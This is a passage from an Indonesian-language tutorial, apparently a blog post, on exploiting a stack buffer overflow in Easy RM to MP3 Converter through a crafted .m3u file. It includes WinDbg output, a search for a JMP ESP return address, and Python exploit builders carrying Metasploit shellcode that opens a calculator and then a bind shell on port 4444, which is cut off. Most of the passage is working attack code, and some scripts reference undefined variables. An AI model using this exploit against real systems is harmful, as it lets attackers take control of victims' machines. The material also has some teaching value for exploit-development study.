shellcode += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
shellcode += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
shellcode += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
shellcode += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
shellcode += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
shellcode += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
shellcode += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
shellcode += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
shellcode += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
shellcode += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
shellcode += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
shellcode += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
shellcode += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
shellcode += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
shellcode += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+pendorong+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

run program, isi “pre_exploit.m3u” ke dalam program, debug kembali.

ternyata kita tidak bisa menggunakan pointer address tersebut untuk instruction pointer ke alamat esp langsung, dikarenakan null byte ada pada alamat 0x0010FD38 dan akan memotong shellcode kita. dan alasan lainnya dengan menggunakan tehnik direct jump to address adalah cara yang tidak disarankan. karena, perbedaan kondisional pada system operasi yang akan membuat address tidak pada itu saja. lalu bagaimana kita menyimpan akan shellcode kita ?

Using another way

sebelumnya pada program c yang kita buat, bahwa kita dapat mengisi instruction pointer langsung ke alamat tertentu dan menggunakan instruksi CALL [label] untuk mengeksekusi fungsi Winner(). begitu juga disini, kita akan menggunakan cara lainnya untuk menyimpan shellcode. yaitu “JMP ESP” .yang berarti loncat ke stack pointer (ESP). instruksi “JMP ESP” bisa dikatakan kode operasi yang sering digunakan pada platform windows dikarenakan windows menggunakan lebih dari 1 dll, 1 dll saja sudah memiliki kode operasi yang sudah banyak. dan address yang digunakan pada dll tersebut cukup statis. jadi jika kita mengisi instruction pointer (EIP) dengan pointer ke address dari salah satu DLL tersebut yang berisi kode instruksi “JMP ESP” maka bukankah kode instruksi tersebut akan loncat ke stack pointer dan mengeksekusi shellcode kita ? ya, dengan cara tersebut kita akan mendapat kemungkinan lebih besar untuk membuat exploit kita bekerja.

sekarang buka windbg anda, dan attach program ke dalam debugger. dan perhatikan DLL yang sudah terpanggil oleh program.

Symbol search path is: D:\windbgsymbols
Executable search path is:
ModLoad: 00400000 004be000   image00400000
ModLoad: 7c900000 7c9b0000   ntdll.dll
ModLoad: 7c800000 7c8f5000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 42c10000 42cdf000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6e000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f01000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77f10000 77f57000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 00340000 00349000   C:\WINDOWS\system32\Normaliz.dll
ModLoad: 42990000 429d5000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000   C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000   C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 5cb70000 5cb96000   C:\WINDOWS\system32\ShimEng.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 6d680000 6d69a000   C:\PROGRA~1\KASPER~1\KASPER~1\mzvkbd3.dll
ModLoad: 76bf0000 76bfb000   C:\WINDOWS\system32\PSAPI.DLL
ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\apphelp.dll
ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00cfe000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01aa0000 01b11000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 01b30000 01b37000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b40000 0200d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 02010000 02021000   C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 020f0000 02114000   C:\Program Files\Easy RM to MP3 Converter\MSRMCctn00.dll
ModLoad: 022f0000 0230e000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 02320000 02330000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
ModLoad: 02540000 02552000   C:\Program Files\Easy RM to MP3 Converter\MSLog.dll
ModLoad: 02040000 02047000   C:\Program Files\Internet Download Manager\idmmkb.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 76ee0000 76f1c000   C:\WINDOWS\system32\RASAPI32.dll
ModLoad: 76e90000 76ea2000   C:\WINDOWS\system32\rasman.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 76eb0000 76edf000   C:\WINDOWS\system32\TAPI32.dll
ModLoad: 76e80000 76e8e000   C:\WINDOWS\system32\rtutils.dll
ModLoad: 769c0000 76a73000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 77c70000 77c94000   C:\WINDOWS\system32\msv1_0.dll
ModLoad: 76d60000 76d79000   C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 722b0000 722b5000   C:\WINDOWS\system32\sensapi.dll
ModLoad: 71a50000 71a8f000   C:\WINDOWS\System32\mswsock.dll
ModLoad: 76fc0000 76fc6000   C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 42cf0000 42e17000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 76f20000 76f47000   C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll

terlihat bukan bahwa program, memanggil DLL yang terlihat oleh program. dan sekarang kita akan menentukan apa kode operasi dari “JMP ESP”. jika aplikasi belum mengalami break pada debugger anda, anda bisa menekan ctrl+break. dan lakukan seperti ini :

– ketik a (yang berarti assemble) pada command line debugger lalu tekan enter
– ketik “jmp esp” lalu tekan enter
– tekan enter kembali.
– ketik “u” dan masukan address ketika anda mengassemble “jmp esp” atau kurangi alamat yang tercetak terakhir dengan 2.  tekan enter kembali

0:014> u 7c901230
ntdll!DbgBreakPoint:
7c901230 ffe4            jmp     esp
7c901232 8bff            mov     edi,edi
ntdll!DbgUserBreakPoint:
7c901234 90              nop
7c901235 90              nop
7c901236 90              nop
7c901237 90              nop
ntdll!DbgBreakPointWithStatus:
7c901238 90              nop
ntdll!DbgUserBreakPoint:
7c901239 cc              int     3

terlihat opcode (kode operasi) dari “JMP ESP” adalah “ffe4”. sekarang, mari kita cari opcode tersebut dari salah satu dll yang telah di panggil oleh program. anda bisa gulung layar pada command line debugger ke atas.

Symbol search path is: D:\windbgsymbols
Executable search path is:
ModLoad: 00400000 004be000   image00400000
ModLoad: 7c900000 7c9b0000   ntdll.dll
ModLoad: 7c800000 7c8f5000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 42c10000 42cdf000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6e000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f01000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77f10000 77f57000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 00340000 00349000   C:\WINDOWS\system32\Normaliz.dll
ModLoad: 42990000 429d5000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000   C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000   C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 5cb70000 5cb96000   C:\WINDOWS\system32\ShimEng.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 6d680000 6d69a000   C:\PROGRA~1\KASPER~1\KASPER~1\mzvkbd3.dll
ModLoad: 76bf0000 76bfb000   C:\WINDOWS\system32\PSAPI.DLL
ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\apphelp.dll
ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00cfe000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01aa0000 01b11000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 01b30000 01b37000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b40000 0200d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 02010000 02021000   C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 020f0000 02114000   C:\Program Files\Easy RM to MP3 Converter\MSRMCctn00.dll
ModLoad: 022f0000 0230e000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 02320000 02330000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
ModLoad: 02540000 02552000   C:\Program Files\Easy RM to MP3 Converter\MSLog.dll
ModLoad: 02040000 02047000   C:\Program Files\Internet Download Manager\idmmkb.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 76ee0000 76f1c000   C:\WINDOWS\system32\RASAPI32.dll
ModLoad: 76e90000 76ea2000   C:\WINDOWS\system32\rasman.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 76eb0000 76edf000   C:\WINDOWS\system32\TAPI32.dll
ModLoad: 76e80000 76e8e000   C:\WINDOWS\system32\rtutils.dll
ModLoad: 769c0000 76a73000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 77c70000 77c94000   C:\WINDOWS\system32\msv1_0.dll
ModLoad: 76d60000 76d79000   C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 722b0000 722b5000   C:\WINDOWS\system32\sensapi.dll
ModLoad: 71a50000 71a8f000   C:\WINDOWS\System32\mswsock.dll
ModLoad: 76fc0000 76fc6000   C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 42cf0000 42e17000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 76f20000 76f47000   C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll

anda bisa menggunakan salah satu address range dll yang terpanggil tersebut untuk mencari kode operasi dari “JMP ESP”. namun, untuk exploit bisa bekerja dan memperbesar kemungkinan exploitasi di banyak mesin. kita, harus menggunakan dll yang autentik dibuat khusus untuk program tersebut yaitu dll berikut ini :

ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll <-
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00cfe000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll <-
ModLoad: 01aa0000 01b11000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll <-
ModLoad: 01b30000 01b37000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll <-
ModLoad: 01b40000 0200d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll <-
ModLoad: 02010000 02021000   C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 020f0000 02114000   C:\Program Files\Easy RM to MP3 Converter\MSRMCctn00.dll <-
ModLoad: 022f0000 0230e000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll <-
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 02320000 02330000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll <-
ModLoad: 02540000 02552000   C:\Program Files\Easy RM to MP3 Converter\MSLog.dll <-

dan saya menggunakan dll MSRMCcodec00.dll untuk mencari opcode “ff e4” maka, saya menggunakan range address “01aa0000 – 01b11000” untuk mencari opcode tersebut.

 0:014> s 01aa0000 l 01b11000 ff e4
 01cff23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......
 01d3023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......
 01d4d3db  ff e4 ca d1 01 20 05 93-19 09 00 00 00 00 d4 d4  ..... ..........
 01d6b22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..
 01d6b72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&
 01d6cd89  ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf  ...5..o..J..0...
 01d75c9e  ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb  ..\.....y.......
 01d803d9  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
 01d81400  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
 01d8736d  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
 01d8ce34  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
 01d90159  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
 01d92ec0  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
 0230135b  ff e4 49 2f 02 e8 49 2f-02 00 00 00 00 ff ff ff  ..I/..I/........
 

atau anda dapat menggunakan perintah “s 70000000 l fffffff ff e4” . dengan perintah itu, mungkin anda dapat menemukan address yang berisi “JMP ESP” dengan windows dll.
bisa juga dengan cara menggunakan tools dari Ryan Permeh http://www.hat-squad.com/en/000157.html yang bernama findjmp ;

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C8151BB    jmp esp
0x7C82D98B    jmp esp
0x7C830C1B    call esp
0x7C836988    call esp
0x7C8672D4    call esp
0x7C87601B    call esp
0x7C87C479    push esp – ret
Finished Scanning kernel32.dll for code useable with the esp register
Found 7 usable addresses

dan kali ini saya akan menggunakan address 0x01cff23a (salah satu address range MSRMCcodec00.dll ) yang akan di letakan pada EIP. lalu kita buat source python untuk melahirkan file baru “pre-exploit.m3u”

from struct import pack

filename = "pre-exploit.m3u"
junk = "\x41" * 26089
eip = pack("L", 0x01cff23a) # universal address from MSRMCcodec00.dll
nopsled = "\x90" * 15 # little nopsled ;)
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
shellcode += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
shellcode += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
shellcode += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
shellcode += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
shellcode += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
shellcode += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
shellcode += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
shellcode += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
shellcode += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
shellcode += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
shellcode += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
shellcode += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
shellcode += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
shellcode += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
shellcode += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
shellcode += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
shellcode += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
shellcode += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
shellcode += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+pendorong+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

lalu, kita debug dan lihat esp.

0:000> d esp
0010fd38  90 90 90 90 90 90 90 90-90 90 90 41 61 30 41 61  ...........Aa0Aa
0010fd48  31 41 61 32 41 61 33 41-61 34 41 61 35 41 61 36  1Aa2Aa3Aa4Aa5Aa6
0010fd58  41 61 37 41 61 38 41 61-39 41 62 30 41 62 31 41  Aa7Aa8Aa9Ab0Ab1A
0010fd68  62 32 41 62 33 41 62 34-41 62 35 41 62 36 41 62  b2Ab3Ab4Ab5Ab6Ab
0010fd78  37 41 62 38 41 62 39 41-63 30 41 63 31 41 63 32  7Ab8Ab9Ac0Ac1Ac2
0010fd88  41 63 33 41 63 34 41 63-35 41 63 36 41 63 37 41  Ac3Ac4Ac5Ac6Ac7A
0010fd98  63 38 41 63 39 41 64 30-41 64 31 41 64 32 41 64  c8Ac9Ad0Ad1Ad2Ad
0010fda8  33 41 64 34 41 64 35 41-64 36 41 64 37 41 64 38  3Ad4Ad5Ad6Ad7Ad8
0:000> d
0010fdb8  41 64 39 41 65 30 41 65-31 41 65 32 41 65 33 41  Ad9Ae0Ae1Ae2Ae3A
0010fdc8  65 34 41 65 35 41 65 36-41 65 37 41 65 38 41 65  e4Ae5Ae6Ae7Ae8Ae
0010fdd8  39 41 66 30 41 66 31 41-66 32 41 66 33 41 66 34  9Af0Af1Af2Af3Af4
0010fde8  41 66 35 41 66 36 41 66-37 41 66 38 41 66 39 41  Af5Af6Af7Af8Af9A
0010fdf8  67 30 41 67 31 41 67 32-41 67 33 41 67 34 41 67  g0Ag1Ag2Ag3Ag4Ag
0010fe08  35 41 67 36 41 67 37 41-67 38 41 67 39 41 68 30  5Ag6Ag7Ag8Ag9Ah0
0010fe18  41 68 31 41 68 32 41 68-33 41 68 34 41 68 35 41  Ah1Ah2Ah3Ah4Ah5A
0010fe28  68 36 41 68 37 41 68 38-41 68 39 41 69 30 41 69  h6Ah7Ah8Ah9Ai0Ai
0:000> d
0010fe38  31 41 69 32 41 69 33 41-69 34 41 69 35 41 69 36  1Ai2Ai3Ai4Ai5Ai6
0010fe48  41 69 37 41 69 38 41 69-39 41 6a 30 41 6a 31 41  Ai7Ai8Ai9Aj0Aj1A
0010fe58  6a 32 41 6a 33 41 6a 34-41 6a 35 41 6a 36 41 6a  j2Aj3Aj4Aj5Aj6Aj
0010fe68  37 41 6a 38 41 6a 39 41-6b 30 41 6b 31 41 6b 32  7Aj8Aj9Ak0Ak1Ak2
0010fe78  41 6b 33 41 6b 34 41 6b-35 41 6b 36 41 6b 37 41  Ak3Ak4Ak5Ak6Ak7A
0010fe88  6b 38 41 6b 39 41 6c 30-41 6c 31 41 6c 32 41 6c  k8Ak9Al0Al1Al2Al
0010fe98  33 41 6c 34 41 6c 35 41-6c 36 41 6c 37 41 6c 38  3Al4Al5Al6Al7Al8
0010fea8  41 6c 39 41 6d 30 41 6d-31 41 6d 32 41 6d 33 41  Al9Am0Am1Am2Am3A

berjalan dengan manis, saatnya kita mengisi dengan shellcode kita ;).

Let’s end the game !

sekarang kita berada pada puncak permainan. kita akan mencoba untuk menggunakan shellcode yang mengeksekusi calculator, kali ini saya menggunakan metasploit sebagai generator CMD.exe dengan command calc  shellcode. yang akan memunculkan kalkulator jika program berhasil di exploitasi. shellcodenya akan terlihat seperti ini :

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca";

dan final exploit yang saya punya terlihat akan seperti ini :

from struct import pack

filename = "pre-exploit.m3u"
junk = "\x41" * 26089
eip = pack("L", 0x01cff23a) # universal address from MSRMCcodec00.dll
nopsled = "\x90" * 15 # little nopsled ;)
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+nopsled+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

buka program, lancarkan exploit !

exploit berhasil, calculator muncul dengan manis ;)

Gettin’ for our shell

saya menggunakan kembali metasploit untuk menghasilkan shellcode bind shell dengan port 4444. dan mari kita buat python script lagi untuk melahirkan payloadnya.

# Exploit for Easy RM to MP3 27.3.700 discovered by Crazy_Hacker
# exploit written by gunslinger_ yudha.gunslinger@gmail.com
# https://gunslingerc0de.wordpress.com
# greetz to all devilzc0de members
# tested in windows xp sp2

from struct import pack

filename = "pre-exploit.m3u"
junk = "\x41" * 26089
eip = pack("L", 0x01cff23a) # universal address from MSRMCcodec00.dll
nopsled = "\x90" * 15 # little nopsled ;)

# windows/shell_bind_tcp LPORT=4444 - 368 bytes
# http://www.metasploit.com
shellcode += "\xbb\x38\xa8\x95\x3e\xda\xd2\xd9\x74\x24\xf4\x5f\x31\xc9"
shellcode += "\xb1\x56\x31\x5f\x13\x83\xc7\x04\x03\x5f\x37\x4a\x60\xc2"
shellcode += "\xaf\x03\x8b\x3b\x2f\x74\x05\xde\x1e\xa6\x71\xaa\x32\x76"
shellcode += "\xf1\xfe\xbe\xfd\x57\xeb\x35\x73\x70\x1c\xfe\x3e\xa6\x13"
